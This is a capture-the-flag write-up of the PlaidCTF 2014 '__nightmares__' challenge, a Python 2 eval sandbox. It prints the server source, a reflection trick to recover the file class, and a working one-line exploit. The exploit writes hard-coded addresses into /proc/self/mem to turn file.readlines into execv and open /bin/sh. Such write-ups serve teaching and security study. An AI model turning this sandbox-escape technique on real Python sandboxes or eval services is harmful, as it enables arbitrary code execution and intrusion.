plaidCTF 2014 - __nightmares__ (pwn375)

For PlaidCTF2014, Eindbazen and fail0verflow joined forces as 0xffa, the Final Fail Alliance.
Don't miss out on other write-ups at Eindbazen's site!
__nightmares__
Pwning (375 pts)
-------------------
The Plague is building an army of evil hackers, and they are starting
off by teaching them python with this simple service. Maybe if you
could get full access to this system, at 54.196.37.47:9990, you would
be able to find out more about The Plague's evil plans.

This server simply evaluates any Python expression provided - with an attempt at sandboxing it.

The source code of the server is provided:

#!/usr/bin/python -u
'''
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
'''

from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout

# No more importing!
x = Thread(target = acquire_lock, args = ())
x.start()
x.join()
del x
del acquire_lock
del Thread

# No more modules!
for k, v in modules.iteritems():
        if v == None: continue
        if k == '__main__': continue
        v.__dict__.clear()

del k, v

__main__ = modules['__main__']
modules.clear()
del modules

# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__

print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
        exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}

This is a nasty sandbox! Not only does it execute the expression with no useful globals, but it also attempts to disable importing modules, and walks every existing module and deletes everything from its dictionary. Thus, getting a reference to the os module (for e.g. os.execl) is not useful, since the os module is now empty.

However, we can still get a reference to built-in types using good old Python reflection tricks:

{}.__class__.__bases__[0].__subclasses__()

This takes the superclass of dict (which is object) and the gets a list of references to subclass types. There’s lots of interesting stuff here, so we can do some recon and see what we find:

"\n".join(["%r"%x+"".join([("    %r %r\n"%(y,z))
                            for y,z in x.__dict__.items()])+"\n"
            for x in ().__class__.__bases__[0].__subclasses__()])

That expression will list every member of every subclass of object. Now, I attempted to look for something that would usefully let us get a reference to, say, a pristine os module (or a way to reload modules), but I couldn’t find anything. However, there is one good old friend arond - the file class, which lets us read and write filesystem files.

The flag isn’t in a file that we can just read (hence the message in the source), but we can have fun with other files. Most interestingly, we can use /proc/self/mem to read and write arbitrary Python process memory. There are many ways of gaining arbitrary code execution once you have access to process memory, of course, but one of the simplest things to do is to just redirect a function pointer in a Python object descriptor table.

I agonized for a while about which function to pick, because I wanted os.execv, but that’s a function, while everything I had access to via __subclasses__ has methods, not functions (which take an extra self argument in Python land). However, I’d forgotten that even a plain function takes a self argument in the C API, so in fact many methods have a compatible function signature in the C world (the arguments mostly don’t matter in the C world, because the Python C ABI receives non-self args through a single args tuple argument that the body then parses and extracts the real arguments from).

I first dumped the python2.7 binary to determine the addresses I needed to poke. Thankfully, it’s statically linked, so that’s one fewer step to worry about. ASLR is also not enabled (neither use of libpython nor ASLR would’ve been a significant deterrent, since you could just dump all the base addresses from /proc/self/maps anyway, but it saves time). I was after the address of posix_execv (0x525f40) and the address of the function pointer field of the readlines member of the file class’s descriptor (0x88af88). With that, all that’s left to do to get a shell is to put them together using a list comprehension to be able to operate multiple times on an fd object within a single Python expresion:

[(fd.seek(0x0088af88),
    fd.write("\x40\x5f\x52"),
    fd.flush(),
    fd.readlines("/bin/sh",["/bin/sh"]))  # This becomes os.execv()!
    for fd in (().__class__.__bases__[0].__subclasses__()[40]
            ("/proc/self/mem","w"),) ]

And with a crude shell, all that was left was:

cd /home/nightmares_owner
./give_me_the_flag.exe